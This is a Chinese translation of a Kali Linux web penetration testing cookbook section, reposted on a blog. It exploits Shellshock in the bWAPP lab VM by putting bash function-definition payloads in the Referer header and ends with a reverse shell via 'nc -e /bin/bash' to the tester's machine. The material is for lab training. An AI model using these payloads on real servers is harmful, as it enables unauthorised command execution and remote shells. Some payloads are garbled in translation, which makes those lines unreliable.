前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kali Linux Web渗透测试手册(第二版) - 7.2 - 通过利用Shellshock执行命令

Kali Linux Web渗透测试手册(第二版) - 7.2 - 通过利用Shellshock执行命令

作者头像
用户1631416
发布2019-03-06 14:45:31
8320
发布2019-03-06 14:45:31
举报
文章被收录于专栏:玄魂工作室

翻译来自掣雷小组

成员信息:

thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt~

7.2、通过利用Shellshock执行命令

Shellshock(也叫Bashdoor)是2014年9月在bash shell中发现的一个bug,它允许通过存储在环境变量值中的函数执行命令。

作为web渗透测试人员,Shellshock与我们相关,因为如果这些脚本使用系统环境变量,开发人员有时会在PHP和CGI脚本中调用系统命令(在CGI脚本中更为常见。)

在此小节中,我们将利用bee-box虚拟机中的Shellshock漏洞在服务器上获得命令执行。

实战演练

通过HTTP (http://192.168.56.12/bWAPP/)浏览到bee-box,并登录开始这个练习:

1. 在下拉框中,选择Shellshock漏洞(CGI),点击Hack:

在文本中,我们可以看到一些有趣的东西:当前用户:www-data。这可能意味着页面正在使用系统调用来获取用户名。这也给了我们一个攻击推荐人的暗示。

2. 幕后发生了什么,使用Burp Suite记录请求并重新加载页面。让我们看看代理的历史:

我们可以看到有一个iframe调用shell脚本:/cgi-bin/shellshock.sh,这可能是易受Shellshock漏洞影响的脚本。

3. 我们关注这个提示,并尝试攻击shellshock.sh。我们首先需要配置BurpSuite来拦截服务器响应。转到“代理”选项卡中的“选项”,并根选中带有文本拦截响应的复选框。

4. 现在,设置BurpSuite拦截并重新加载shellshock.php。

5. 在Burp Suite中,单击Forward直到看到get请求到/bWAPP/cgi-bin/shellshock.sh。然后,将referer替换为(){:;};echo“Vulnerable:”如下截图所示:

6. 再次单击Forward,并再次在请求。然后我们需要从shellshock.sh中获取响应。如下面的截图所示:

响应现在有一个新的标题参数称为Vulnerable。这是因为它将echo命令的输出集成到我们提交的HTML标头中,现在我们可以进一步执行更有趣的命令。

7. 现在,尝试(){:;};"Vulnerable:" $(/bin/sh-c "/sbin/ifconfig")命令。如结果所示,命令的结果包含在响应头中:

8. 在渗透测试中,能够在服务器上远程执行命令是一个巨大的优势,下一个自然步骤是获得远程shell,这意味着我们可以通过直接连接发送更详细的命令。在Kali Linux中打开一个终端,用下面的命令建立监听网络端口:nc -vlp12345。

9. 现在转到Burp Suite代理的历史记录,选择对shellshock.sh的任何请求。右键单击它,并将其发送到中repeater。

10. 进入repeater后,将referer的值改为:(){:;};echo "Vulnerable:" $(/bin/sh -c "nc -e/bin/bash 192.168.56.10 12345")。在本例中,192.168.56.10是我们Kali机器的地址。

11. 单击Go。我们检查我们的终端,可以看到连接已经建立;发出一些命令来检查我们是否有远程shell:

原理剖析

在前五个步骤中,我们发现对shell脚本有一个调用,并且,由于它应该由shell解释器运行,可能是bash或bash的一个有漏洞版本。为了验证这一点,我们执行了以下测试:

() { :;}; echo "Vulnerable:"

第一部分,(){:;};,是一个空函数定义,因为bash可以将函数存储为环境变量,这是漏洞的核心,因为解释器在函数结束后会继续解释(和执行)命令。这允许我们发布第二部分,echo“Vulnerable:”,这个命令会简单地返回我们输入。

该漏洞发生在web服务器上,因为CGI实现将请求的所有部分映射到环境变量,所以如果通过替换referer执行此攻击,也可以工作。一旦我们知道服务器是脆弱的,我们就会发出一个测试命令ifconfig,并设置一个反向shell。

反向shell是一个远程shell,它由服务器发起,以便客户机侦听连接,而不是像在绑定连接中那样等待客户机连接的服务器。

一旦我们有了服务器的shell,我们就需要提权并获取帮助继续进行渗透测试所需的信息。

更多资料

Shellshock漏洞在全世界范围内影响了大量的服务器和设备,有多种方法可以利用它。命令执行的例子有很多,例如,我们将移动设备连接到LAN ,Metasploit Framework包含一个模块,用于设置DHCP服务器,以便将命令注入到连接到它的客户机上;这在网络渗透测试中非常有用 (https://www.rapid7.com/db/modules/auxiliary/server/dhclient_bash_env)。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-01-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档